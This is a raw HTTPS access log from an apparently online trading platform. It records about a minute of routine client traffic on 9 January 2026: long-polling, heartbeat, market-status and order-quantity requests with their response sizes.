[09/Jan/2026:15:13:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943063634 HTTP/1.1" -
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943064687 HTTP/1.1" -
[09/Jan/2026:15:13:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943064779 HTTP/1.1" -
[09/Jan/2026:15:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:13:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943081305 HTTP/1.1" -
[09/Jan/2026:15:13:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:15:13:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943074042 HTTP/1.1" -
[09/Jan/2026:15:13:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943068681 HTTP/1.1" -
[09/Jan/2026:15:13:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943069776 HTTP/1.1" -
[09/Jan/2026:15:13:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943069811 HTTP/1.1" -
[09/Jan/2026:15:13:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943086364 HTTP/1.1" -
[09/Jan/2026:15:13:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943079067 HTTP/1.1" -
[09/Jan/2026:15:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943073723 HTTP/1.1" -
[09/Jan/2026:15:13:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943074807 HTTP/1.1" -
[09/Jan/2026:15:13:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943074865 HTTP/1.1" -
[09/Jan/2026:15:13:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943091385 HTTP/1.1" -
[09/Jan/2026:15:13:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943084164 HTTP/1.1" -
[09/Jan/2026:15:13:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943078769 HTTP/1.1" -
[09/Jan/2026:15:13:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943080175 HTTP/1.1" -
[09/Jan/2026:15:13:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943079989 HTTP/1.1" -
[09/Jan/2026:15:13:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943096411 HTTP/1.1" -
[09/Jan/2026:15:13:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943089200 HTTP/1.1" -
[09/Jan/2026:15:13:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943083787 HTTP/1.1" -
[09/Jan/2026:15:13:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943085214 HTTP/1.1" -
[09/Jan/2026:15:13:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943085041 HTTP/1.1" -
[09/Jan/2026:15:13:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943101475 HTTP/1.1" -
[09/Jan/2026:15:13:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943094278 HTTP/1.1" -
[09/Jan/2026:15:13:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943088824 HTTP/1.1" -
[09/Jan/2026:15:13:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943090248 HTTP/1.1" -
[09/Jan/2026:15:13:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943090218 HTTP/1.1" -
[09/Jan/2026:15:13:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943106543 HTTP/1.1" -
[09/Jan/2026:15:13:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943099378 HTTP/1.1" -
[09/Jan/2026:15:13:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943093846 HTTP/1.1" -
[09/Jan/2026:15:13:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943095331 HTTP/1.1" -
[09/Jan/2026:15:13:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943095355 HTTP/1.1" -
[09/Jan/2026:15:13:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943111563 HTTP/1.1" -
[09/Jan/2026:15:13:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943104465 HTTP/1.1" -
[09/Jan/2026:15:13:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943098896 HTTP/1.1" -
[09/Jan/2026:15:13:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943100530 HTTP/1.1" -
[09/Jan/2026:15:13:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943100418 HTTP/1.1" -
[09/Jan/2026:15:13:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943116626 HTTP/1.1" -
[09/Jan/2026:15:13:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943109506 HTTP/1.1" -
[09/Jan/2026:15:13:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943103930 HTTP/1.1" -
[09/Jan/2026:15:13:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943105584 HTTP/1.1" -
[09/Jan/2026:15:13:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943105560 HTTP/1.1" -
[09/Jan/2026:15:13:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943121655 HTTP/1.1" -
[09/Jan/2026:15:13:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943114606 HTTP/1.1" -
[09/Jan/2026:15:13:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943108957 HTTP/1.1" -
[09/Jan/2026:15:14:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943110668 HTTP/1.1" -
[09/Jan/2026:15:14:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943126720 HTTP/1.1" -
[09/Jan/2026:15:14:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943110632 HTTP/1.1" -
[09/Jan/2026:15:14:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943119631 HTTP/1.1" -
[09/Jan/2026:15:14:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943113983 HTTP/1.1" -
[09/Jan/2026:15:14:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943115742 HTTP/1.1" -
[09/Jan/2026:15:14:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943131748 HTTP/1.1" -
